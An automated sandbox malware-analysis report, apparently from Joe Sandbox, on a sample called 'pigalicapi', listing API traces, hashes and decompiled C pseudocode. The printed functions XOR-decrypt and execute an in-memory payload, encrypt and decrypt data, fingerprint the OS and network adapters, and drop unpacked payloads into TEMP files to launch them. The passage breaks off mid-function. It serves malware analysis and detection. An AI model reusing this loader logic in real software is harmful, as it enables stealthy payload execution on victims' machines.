GetProcAddress.KERNEL32(00000000), ref: 02B5104E

Part of subcall function 02B51B30: SetLastError.KERNEL32(0000000D,?,02B51070,?,00000040), ref: 02B51B3D

SetLastError.KERNEL32(000000C1), ref: 02B51096

Memory Dump Source

Source File: 00000001.00000002.718905728.0000000002B51000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B51000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2b51000_pigalicapi.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 8755cf1ed10c32a1ba26c39d3e7ae57ac964654d83a3bc6cff562a7273872012
Instruction ID: 1c76909efeea957f5d01509bf932458c31ab8a7e66b7186ce23f10946504b2a5
Opcode Fuzzy Hash: 8755cf1ed10c32a1ba26c39d3e7ae57ac964654d83a3bc6cff562a7273872012
Instruction Fuzzy Hash: 0EF1D5B4E11219EFDB04CF98D994BAEB7B1EF48304F248598E909AB341D775EA41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04004880 Relevance: 18.1, APIs: 12, Instructions: 146encryptionCOMMON

Download Yara Rule

APIs

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
CryptDestroyKey.ADVAPI32(00000000), ref: 04004982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 040049A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 040049CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 04004A07
CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 04004A34
CryptDestroyHash.ADVAPI32(?), ref: 04004A7D
CryptDestroyHash.ADVAPI32(00000000), ref: 04004A8A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04004AA5

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Hash$Destroy$CreateDataParam$ContextDecryptDeriveRelease
String ID:
API String ID: 2727466597-0
Opcode ID: 56f7e97ff9290496e290980ffb5b481f03a5a3792702acde3772e2a43a98712a
Instruction ID: 825b94236ad970d67c54706e51f03fb1cf2707309f33405f466b5fd67a115f37
Opcode Fuzzy Hash: 56f7e97ff9290496e290980ffb5b481f03a5a3792702acde3772e2a43a98712a
Instruction Fuzzy Hash: E251FD71A54318ABEB65CF50CC45FEA77BCAB48B04F008598F609B61C0DB79AB84CF54

Uniqueness

Uniqueness Score: -1.00%

Function 04008970 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E04008970(intOrPtr _a4, intOrPtr* _a8, BYTE* _a12, int _a16) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				char* _t27;
				int _t28;
				int _t33;
				char* _t47;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L12:
					return _v8;
				} else {
					_v12 = 0;
					_t27 =  *0x4013370; // 0x400c6e4
					_t28 = CryptAcquireContextA( &_v12, _t27, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t28 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t47 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t47, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v20 = 0;
						if(CryptImportKey(_v12, _a12, _a16, 0, 1,  &_v20) != 0) {
							_t33 = _v20;
							__imp__CryptEncrypt(_t33, 0, 1, 0, _a4, _a8,  *_a8);
							_v8 = _t33;
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L12;
				}
			}

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 040089BF
GetLastError.KERNEL32 ref: 040089C9
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 040089F8
CryptImportKey.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000000), ref: 04008A1F
CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 04008A41
CryptDestroyKey.ADVAPI32(00000000), ref: 04008A4E
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008A5A

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 040089B0
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 040089E8

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Crypt$Context$Acquire$DestroyEncryptErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3736710109-947817771
Opcode ID: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction ID: 073036156a227ab269f6199982c6e62e9abf2561c3e32999b52b046b74d0c6c6
Opcode Fuzzy Hash: a580c414a6f780aecf9ca1925e7721a486cca4ea517db96ead6d5debf2f75543
Instruction Fuzzy Hash: D231FD75A40208EFFB54DFA4C849BAE77B9FB44701F14C658F605B62C0D7B8AA80CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0080A0B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 101
librarywindowCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E0080A0B0(void* __eflags, intOrPtr _a12, intOrPtr _a16) {
				char _v260;
				void* _v264;
				void* _v268;
				struct HINSTANCE__* _t24;
				void* _t26;
				intOrPtr* _t34;
				intOrPtr* _t35;
				signed int _t54;
				void* _t66;
				struct HINSTANCE__* _t70;
				intOrPtr* _t71;
				signed int _t74;
				void* _t77;
				void* _t79;

				_t79 = __eflags;
				E00804A40();
				_t24 = LoadLibraryA("RICHED20.DLL"); // executed
				_push(0x40);
				_push(0x3000);
				_t70 = _t24;
				_push( &_v264);
				_push(0);
				_push( &_v268);
				_push(0xffffffff);
				_v260 = 0;
				_v268 = 0;
				_v264 = 0x14d44;
				_t26 = E008154F5(_t79); // executed
				_t77 = (_t74 & 0xfffffff8) - 0x10c + 0x18;
				if(_t26 >= 0) {
					_t54 = 0;
					__eflags = _v264;
					if(__eflags > 0) {
						do {
							_t11 = _t54 - (((0x84210843 * _t54 >> 0x20) + _t54 >> 4 >> 0x1f) + ((0x84210843 * _t54 >> 0x20) + _t54 >> 4) << 5) - ((0x84210843 * _t54 >> 0x20) + _t54 >> 4 >> 0x1f) + ((0x84210843 * _t54 >> 0x20) + _t54 >> 4) + "ck?<PMVf>sn+p%d(>M!s$?ch*owqz+"; // 0x3c3f6b63
							_t12 = _t54 + 0x86bdb8; // 0x3c3f6b8b
							 *(_t54 + _v268) =  *_t11 ^  *_t12;
							_t54 = _t54 + 1;
							__eflags = _t54 - _v264;
						} while (__eflags < 0);
					}
					_v268();
					_t66 = E00809F00( &_v260, __eflags, _a12, _a16);
					FreeLibrary(_t70);
					E00804BA0();
					_t71 =  *0x8819f0; // 0x2e21058
					__eflags = _t71;
					if(_t71 != 0) {
						_t34 =  *_t71;
						__eflags = _t34;
						if(_t34 != 0) {
							E00815DE2(_t34);
							_t77 = _t77 + 4;
							 *_t71 = 0;
						}
						_t20 = _t71 + 4; // 0x0
						_t35 =  *_t20;
						__eflags = _t35;
						if(_t35 != 0) {
							E00815DE2(_t35);
							_t77 = _t77 + 4;
							 *((intOrPtr*)(_t71 + 4)) = 0;
						}
						_push(_t71);
						 *((intOrPtr*)(_t71 + 8)) = 0;
						E008159DB();
					}
					E00804700();
					return _t66;
				} else {
					MessageBoxA(0, "NtAllocateVirtualMemory - Fail", 0, 0);
					return 0;
				}
			}

0x0080a0b0
0x0080a0bf
0x0080a0c9
0x0080a0cf
0x0080a0d1
0x0080a0d6
0x0080a0dc
0x0080a0df
0x0080a0e4
0x0080a0e5
0x0080a0e7
0x0080a0eb
0x0080a0ef
0x0080a0f7
0x0080a0fc
0x0080a101
0x0080a11c
0x0080a11e
0x0080a122
0x0080a124
0x0080a142
0x0080a148
0x0080a152
0x0080a155
0x0080a156
0x0080a156
0x0080a124
0x0080a15c
0x0080a172
0x0080a174
0x0080a17a
0x0080a17f
0x0080a185
0x0080a187
0x0080a189
0x0080a18b
0x0080a18d
0x0080a190
0x0080a195
0x0080a198
0x0080a198
0x0080a19a
0x0080a19a
0x0080a19d
0x0080a19f
0x0080a1a2
0x0080a1a7
0x0080a1aa
0x0080a1aa
0x0080a1ad
0x0080a1ae
0x0080a1b1
0x0080a1b6
0x0080a1b9
0x0080a1c6
0x0080a103
0x0080a10b
0x0080a119
0x0080a119

APIs

Part of subcall function 00804A40: GetCurrentThreadId.KERNEL32 ref: 00804A7B

LoadLibraryA.KERNEL32(RICHED20.DLL), ref: 0080A0C9
MessageBoxA.USER32 ref: 0080A10B
FreeLibrary.KERNEL32(00000000,?,00003000,00000040), ref: 0080A174

Strings

RICHED20.DLL, xrefs: 0080A0C4
NtAllocateVirtualMemory - Fail, xrefs: 0080A105

Memory Dump Source

Source File: 00000001.00000002.711552533.0000000000801000.00000020.00000001.01000000.00000006.sdmp, Offset: 00800000, based on PE: true

Associated: 00000001.00000002.711459674.0000000000800000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000820000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712110114.0000000000830000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.712946985.0000000000869000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713011724.000000000086C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713140868.0000000000880000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.713182892.0000000000883000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_800000_pigalicapi.jbxd

Similarity

API ID: Library$CurrentFreeLoadMessageThread
String ID: NtAllocateVirtualMemory - Fail$RICHED20.DLL
API String ID: 2057254942-2284438529
Opcode ID: 2b40c7623d3cf9f45a1247bbcadacdc81391662fec114104e2e96b24818a9cda
Instruction ID: d1bf59522fd29670f719cf6429d2945e29149af0d5c0b59f4a7f80d80ce2e8af
Opcode Fuzzy Hash: 2b40c7623d3cf9f45a1247bbcadacdc81391662fec114104e2e96b24818a9cda
Instruction Fuzzy Hash: 2B31C1B26043019FD714EF69EC8696B77D9FF84320F04463EF596D7282E630E94587A2

Uniqueness

Uniqueness Score: -1.00%

Function 04009F70 Relevance: 1.6, APIs: 1, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E04009F70(intOrPtr _a4, signed int _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				void* _v32;
				intOrPtr* _t59;
				intOrPtr _t64;
				void* _t99;
				void* _t100;

				_v8 = 1;
				if(_a4 != 0) {
					_t103 = _a8 - 5;
					if(_a8 > 5) {
						asm("cdq");
						_t59 = E040097A0( ~(0 | _t103 > 0x00000000) | _a8 / 0x00000006 * 0x00000288); // executed
						_t100 = _t99 + 4;
						_v28 = _t59;
						_v12 = _v28;
						if(_v12 != 0) {
							_v16 = _v12;
							_v20 = _a8 * 0x288 / 6;
							_push( &_v20);
							_t64 = _v12;
							_push(_t64); // executed
							L0400B1DA(); // executed
							if(_t64 == 0) {
								_v24 = 0;
								while(_v12 != 0 && _v24 < _a8) {
									if( *((intOrPtr*)(_v12 + 0x190)) < _a8 - _v24) {
										E04007B70(_a4 + _v24, _v12 + 0x194,  *((intOrPtr*)(_v12 + 0x190)));
										_t100 = _t100 + 0xc;
										_v24 = _v24 +  *((intOrPtr*)(_v12 + 0x190));
										_v12 =  *_v12;
										_v8 = 1;
										continue;
									}
									break;
								}
								 *_a12 = _v24;
							}
							_v32 = _v16;
							E040097C0(_v32); // executed
						}
					}
				}
				return _v8;
			}

APIs

Part of subcall function 040097A0: GetProcessHeap.KERNEL32(00000008,04009FB2,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097A9
Part of subcall function 040097A0: RtlAllocateHeap.NTDLL(00000000,?,04009FB2,00000000,?,?,?,04009E2D), ref: 040097B0

GetAdaptersInfo.IPHLPAPI(00000000,04009E2D), ref: 04009FEB

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: Heap$AdaptersAllocateInfoProcess
String ID:
API String ID: 1318000056-0
Opcode ID: 73ff96f27f52de9840d8f092c1af349ff5175d9842f98ddb7f52f1a4bac05a00
Instruction ID: 97f005e152f21f2c2f7fd10924b0caa403664ba6d1ad8a9a516f1bf18f754b30
Opcode Fuzzy Hash: 73ff96f27f52de9840d8f092c1af349ff5175d9842f98ddb7f52f1a4bac05a00
Instruction Fuzzy Hash: B931FBB5E00209EFEB04CF98C494AEEB7B5EF48308F10C169E909A7390D735AA45CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008F80 Relevance: 63.2, APIs: 22, Strings: 14, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04008F80(CHAR* _a4, intOrPtr _a8, intOrPtr* _a12) {
				int _v8;
				struct _SYSTEM_INFO _v44;
				signed int _v50;
				signed short _v52;
				struct _OSVERSIONINFOA _v204;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0) {
					L45:
					return _v8;
				} else {
					E04007D20(E04007D20(_a8, _a4, 0, _a8),  &_v204, 0, 0x9c);
					_v204.dwOSVersionInfoSize = 0x9c;
					E04007D20( &_v44,  &_v44, 0, 0x24);
					if(GetVersionExA( &_v204) == 0) {
						L43:
						if(_v8 == 0) {
							lstrcatA(_a4, "UndefinedOS");
						}
						goto L45;
					}
					GetSystemInfo( &_v44); // executed
					if(_v204.dwMajorVersion != 5) {
						if(_v204.dwMajorVersion == 6) {
							if(_v204.dwMinorVersion != 0) {
								if(_v204.dwMinorVersion != 1) {
									if(_v204.dwMinorVersion == 2) {
										if((_v50 & 0x000000ff) == 1) {
											if((_v50 & 0x000000ff) == 1) {
												lstrcatA(_a4, "Win8");
												 *_a12 = 0xb;
											}
										} else {
											lstrcatA(_a4, "WinServer2012");
											 *_a12 = 0xc;
										}
									}
								} else {
									if((_v50 & 0x000000ff) == 1) {
										if((_v50 & 0x000000ff) == 1) {
											lstrcatA(_a4, "Win7");
											 *_a12 = 8;
										}
									} else {
										lstrcatA(_a4, "WinServer2008R2");
										 *_a12 = 0xa;
									}
								}
							} else {
								if((_v50 & 0x000000ff) != 1) {
									if((_v50 & 0x000000ff) != 1) {
										lstrcatA(_a4, "WinServer2008");
										 *_a12 = 9;
									}
								} else {
									lstrcatA(_a4, "Vista");
									 *_a12 = 7;
								}
							}
						}
						L38:
						if(E04009290() != 0) {
							lstrcatA(_a4, "_x64");
						}
						if(lstrlenA( &(_v204.szCSDVersion)) != 0) {
							lstrcatA(_a4, "_");
							lstrcatA(_a4,  &(_v204.szCSDVersion));
						}
						_v8 = lstrlenA(_a4);
						goto L43;
					}
					if(_v204.dwMinorVersion != 0) {
						if(_v204.dwMinorVersion != 1) {
							if(_v204.dwMinorVersion == 2) {
								if((_v50 & 0x000000ff) != 1 || (_v44.dwOemId & 0x0000ffff) != 9) {
									if(GetSystemMetrics(0x59) != 0) {
										if(GetSystemMetrics(0x59) == 0) {
											if((_v52 & 0x8000) != 0) {
												lstrcatA(_a4, "WinHomeServer");
												 *_a12 = 4;
											}
										} else {
											lstrcatA(_a4, "WinServer2003R2");
											 *_a12 = 6;
										}
									} else {
										lstrcatA(_a4, "WinServer2003");
										 *_a12 = 5;
									}
								} else {
									lstrcatA(_a4, "WinXP64");
									 *_a12 = 3;
								}
							}
						} else {
							lstrcatA(_a4, "WinXP");
							 *_a12 = 2;
						}
					} else {
						lstrcatA(_a4, "Win2K");
						 *_a12 = 1;
					}
					goto L38;
				}
			}

APIs

GetVersionExA.KERNEL32(0000009C), ref: 04008FF7
GetSystemInfo.KERNEL32(?), ref: 04009009
lstrcatA.KERNEL32(00000000,Win2K), ref: 0400902E
lstrcatA.KERNEL32(00000000,WinXP), ref: 04009054
lstrcatA.KERNEL32(00000000,Vista), ref: 0400913D
lstrcatA.KERNEL32(00000000,WinServer2008), ref: 04009160
lstrcatA.KERNEL32(00000000,WinServer2008R2), ref: 0400918F
lstrcatA.KERNEL32(00000000,Win7), ref: 040091B2
lstrcatA.KERNEL32(00000000,WinServer2012), ref: 040091DE
lstrcatA.KERNEL32(00000000,Win8), ref: 04009201
lstrcatA.KERNEL32(00000000,_x64), ref: 04009222
lstrlenA.KERNEL32(?), ref: 0400922F
lstrcatA.KERNEL32(00000000,0400C980), ref: 04009242
lstrcatA.KERNEL32(00000000,?), ref: 04009253
lstrlenA.KERNEL32(00000000), ref: 0400925D
lstrcatA.KERNEL32(00000000,UndefinedOS), ref: 04009275

Strings

Win8, xrefs: 040091F8
Win7, xrefs: 040091A9
WinServer2008, xrefs: 04009157
WinHomeServer, xrefs: 040090F8
WinServer2003, xrefs: 040090AD
UndefinedOS, xrefs: 0400926C
Win2K, xrefs: 04009025
WinServer2003R2, xrefs: 040090D3
WinServer2008R2, xrefs: 04009186
_x64, xrefs: 04009219
Vista, xrefs: 04009134
WinXP, xrefs: 0400904B
WinServer2012, xrefs: 040091D5
WinXP64, xrefs: 04009087

Memory Dump Source

Source File: 00000001.00000002.727052256.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000001.00000002.727020045.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727132204.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.727164191.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_4000000_pigalicapi.jbxd

Similarity

API ID: lstrcat$lstrlen$InfoSystemVersion
String ID: UndefinedOS$Vista$Win2K$Win7$Win8$WinHomeServer$WinServer2003$WinServer2003R2$WinServer2008$WinServer2008R2$WinServer2012$WinXP$WinXP64$_x64
API String ID: 3139318632-332591429
Opcode ID: b80c610fb93e26c1f6b8a0e3d57eccb9ead3b078b5df3064abf97d281ea2cf4c
Instruction ID: 2fdea20511d00b83c143a5217ffb9651c4d2114897e9ccdf2931e29d93762e72
Opcode Fuzzy Hash: b80c610fb93e26c1f6b8a0e3d57eccb9ead3b078b5df3064abf97d281ea2cf4c
Instruction Fuzzy Hash: 1A81F9B4644209EBFB249F60C849BAE7BB5FB49301F00C659F905BA2C1D779E9C1CB61

Uniqueness

Uniqueness Score: -1.00%

Function 040062B0 Relevance: 56.7, APIs: 29, Strings: 3, Instructions: 657
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040062B0(intOrPtr* _a4, intOrPtr _a8) {
				long _v8;
				intOrPtr _v12;
				signed int _v13;
				void* _v20;
				int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void _v36;
				void* _v40;
				long _v44;
				signed int _v48;
				void* _v52;
				long _v56;
				void _v60;
				char _v324;
				void* _v328;
				char _v340;
				char _v604;
				int _v608;
				long _v612;
				signed int _v616;
				void* _v620;
				void* _v624;
				void* _v628;
				int _v632;
				signed int _v636;
				long _v640;
				void* _v644;
				void* _v648;
				void* _v652;
				char _v916;
				void* _v920;
				char _v932;
				char _v1196;
				long _v1200;
				int _v1204;
				long _v1208;
				void* _v1212;
				long _v1216;
				signed int _v1220;
				void* _v1224;
				void* _v1228;
				intOrPtr _t317;
				signed char _t321;
				void* _t333;
				signed int _t340;
				void* _t349;
				signed int _t355;
				void* _t361;
				void* _t368;
				void* _t378;
				void* _t381;
				signed int _t383;
				void* _t386;
				void* _t393;
				int _t415;
				signed int _t421;
				signed int _t428;
				signed char _t433;
				void* _t439;
				signed char _t442;
				void* _t448;
				signed int _t452;
				intOrPtr _t455;
				void* _t465;
				void* _t472;
				void* _t473;
				void* _t508;
				void* _t509;
				void* _t528;
				void* _t529;
				void* _t539;
				void* _t549;
				void* _t550;
				void* _t551;
				void* _t563;
				void* _t598;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L99:
					return _v8;
				} else {
					_v12 =  *_a4;
					if(_v12 > 0 && _v12 < 0x400) {
						_v20 = _a4 + 4;
						_v24 = 0;
						while(_v24 < _v12) {
							if(_v24 <= 0) {
								L10:
								_v28 = _v20 + 0x18;
								_v32 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e270; // 0x1
								if(__eflags != 0) {
									L22:
									_t428 = _v24 + 1;
									__eflags = _t428;
									_v24 = _t428;
									continue;
								}
								__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
								if(__eflags != 0) {
									goto L22;
								}
								_t508 = _v20;
								__eflags =  *(_t508 + 0xc) & 0x00000002;
								if(( *(_t508 + 0xc) & 0x00000002) == 0) {
									goto L22;
								}
								__eflags =  *0x401435d & 0x000000ff;
								if(( *0x401435d & 0x000000ff) == 0) {
									goto L22;
								}
								_t509 = _v20;
								__eflags =  *(_t509 + 0xc) & 0x00000010;
								if(( *(_t509 + 0xc) & 0x00000010) == 0) {
									_t433 = E04001EE0(_v28, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t433 & 0x000000ff;
									L21:
									break;
								}
								_v44 =  *((intOrPtr*)(_v28 + _v32 - 4));
								_v40 = VirtualAlloc(0, _v44, 0x3000, 4);
								__eflags = _v40;
								if(_v40 == 0) {
									L19:
									goto L21;
								}
								_t439 = E04006260(_v40, _v28, _v32, _v40, _v44);
								__eflags = _t439 - _v44;
								if(_t439 == _v44) {
									_t442 = E04001EE0(_v40, 0xea60);
									_t598 = _t598 + 8;
									_v8 = _t442 & 0x000000ff;
								}
								VirtualFree(_v40, 0, 0x8000);
								goto L19;
							} else {
								_v36 =  *_v20;
								_v20 = _v20 + _v36;
								if(_v20 <= _a4 + _a8) {
									goto L10;
								} else {
									return 0;
								}
							}
						}
						_v13 = 0;
						_v20 = _a4 + 4;
						_v48 = 0;
						while(1) {
							__eflags = _v48 - _v12;
							if(_v48 >= _v12) {
								break;
							}
							__eflags = _v48;
							if(_v48 <= 0) {
								L29:
								_v52 = _v20 + 0x18;
								_v56 =  *_v20 - 0x18;
								__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e274; // 0x2
								if(__eflags != 0) {
									L39:
									_t448 = _v20;
									__eflags =  *(_t448 + 0xc) & 0x00000002;
									if(( *(_t448 + 0xc) & 0x00000002) == 0) {
										__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e270; // 0x1
										if(__eflags != 0) {
											L90:
											__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e278; // 0x3
											if(__eflags != 0) {
												L93:
												__eflags =  *((intOrPtr*)(_v20 + 4)) -  *0x400e27c; // 0x4
												if(__eflags == 0) {
													_v13 = 1;
												}
												L95:
												L24:
												_t452 = _v48 + 1;
												__eflags = _t452;
												_v48 = _t452;
												continue;
											}
											__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e288; // 0x2
											if(__eflags != 0) {
												goto L93;
											}
											_t317 =  *0x400e28c; // 0x4013f88
											_t455 =  *0x40118a0; // 0x4013b88
											E0400A360(_t455, _t317, _v52, _v56);
											_t598 = _t598 + 0x10;
											goto L95;
										}
										__eflags =  *((intOrPtr*)(_v20 + 8)) -  *0x400e284; // 0x1
										if(__eflags != 0) {
											goto L90;
										}
										_t321 = E04007250(_v20, _v52, _v56);
										_t598 = _t598 + 0xc;
										__eflags = _t321 & 0x000000ff;
										if((_t321 & 0x000000ff) != 0) {
											_t528 = _v20;
											__eflags =  *(_t528 + 0x14);
											if( *(_t528 + 0x14) == 0) {
												L48:
												_t529 = _v20;
												__eflags =  *(_t529 + 0xc) & 0x00000001;
												if(( *(_t529 + 0xc) & 0x00000001) == 0) {
													GetEnvironmentVariableA("TEMP",  &_v1196, 0x104);
													E04007D20( &_v932,  &_v932, 0, 0xa);
													E04009730( &_v932, 4);
													_t598 = _t598 + 0x14;
													GetTempFileNameA( &_v1196,  &_v932, GetTickCount() % 0xffff,  &_v916);
													_v920 = CreateFileA( &_v916, 0x40000000, 1, 0, 2, 0, 0);
													__eflags = _v920 - 0xffffffff;
													if(_v920 == 0xffffffff) {
														L89:
														goto L24;
													}
													_v1200 = 0;
													_v1204 = 0;
													_v1208 = _v56;
													_t333 = _v20;
													__eflags =  *(_t333 + 0xc) & 0x00000010;
													if(( *(_t333 + 0xc) & 0x00000010) == 0) {
														_v1204 = WriteFile(_v920, _v52, _v56,  &_v1200, 0);
													} else {
														_v1216 =  *((intOrPtr*)(_v52 + _v56 - 4));
														_v1212 = VirtualAlloc(0, _v1216, 0x3000, 4);
														__eflags = _v1212;
														if(_v1212 != 0) {
															_t349 = E04006260(_v56, _v52, _v56, _v1212, _v1216);
															__eflags = _t349 - _v1216;
															if(_t349 == _v1216) {
																_v1204 = WriteFile(_v920, _v1212, _v1216,  &_v1200, 0);
																_v1208 = _v1216;
															}
															VirtualFree(_v1212, 0, 0x8000);
														}
													}
													__eflags = _v1204;
													if(_v1204 == 0) {
														L88:
														CloseHandle(_v920);
													} else {
														__eflags = _v1200 - _v1208;
														if(_v1200 != _v1208) {
															goto L88;
														}
														CloseHandle(_v920);
														_t340 = E04001E60( &_v916);
														_t598 = _t598 + 4;
														_v1220 = _t340;
														__eflags = _v1220;
														if(_v1220 != 0) {
															_t465 = _v20;
															__eflags =  *(_t465 + 0x10);
															if( *(_t465 + 0x10) != 0) {
																E040073C0(_v20, _v52, _v56);
																_t598 = _t598 + 0xc;
															}
															_t539 = _v20;
															__eflags =  *(_t539 + 0xc) & 0x00000004;
															if(( *(_t539 + 0xc) & 0x00000004) != 0) {
																E04002510(_v1220, 0x400e290);
																_t598 = _t598 + 8;
															}
															_v8 = 1;
														}
													}
													goto L89;
												}
												_v636 = 0;
												_v632 = 0;
												_v640 = 0;
												_t472 = _v20;
												__eflags =  *(_t472 + 0xc) & 0x00000010;
												if(( *(_t472 + 0xc) & 0x00000010) == 0) {
													_t355 = E04002070(_v52);
													_t598 = _t598 + 4;
													_v636 = _t355;
												} else {
													_v640 =  *((intOrPtr*)(_v52 + _v56 - 4));
													_t378 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
													_v644 = _t378;
													__eflags = _v644;
													if(_v644 != 0) {
														_t381 = E04006260(_v644, _v52, _v56, _v644, _v640);
														__eflags = _t381 - _v640;
														if(_t381 == _v640) {
															_t383 = E04002070(_v644); // executed
															_t598 = _t598 + 4;
															_v636 = _t383;
															_t563 = _v20;
															__eflags =  *(_t563 + 0xc) & 0x00000008;
															if(( *(_t563 + 0xc) & 0x00000008) != 0) {
																_t386 = VirtualAlloc(0, _v640, 0x3000, 4); // executed
																_v632 = _t386;
																E04007B70(_v632, _v644, _v640);
																_t598 = _t598 + 0xc;
															}
														}
														VirtualFree(_v644, 0, 0x8000); // executed
													}
												}
												__eflags = _v636;
												if(_v636 != 0) {
													_t473 = _v20;
													__eflags =  *(_t473 + 0x10);
													if( *(_t473 + 0x10) != 0) {
														E040073C0(_v20, _v52, _v56);
														_t598 = _t598 + 0xc;
													}
													_t549 = _v20;
													__eflags =  *(_t549 + 0xc) & 0x00000008;
													if(( *(_t549 + 0xc) & 0x00000008) != 0) {
														_t361 = E040097A0(0x10);
														_t598 = _t598 + 4;
														_v1228 = _t361;
														_v648 = _v1228;
														_t551 = _v20;
														__eflags =  *(_t551 + 0xc) & 0x00000010;
														if(( *(_t551 + 0xc) & 0x00000010) == 0) {
															 *_v648 = VirtualAlloc(0, _v56, 0x3000, 4);
															__eflags =  *_v648;
															if( *_v648 != 0) {
																E04007B70( *_v648, _v52, _v56);
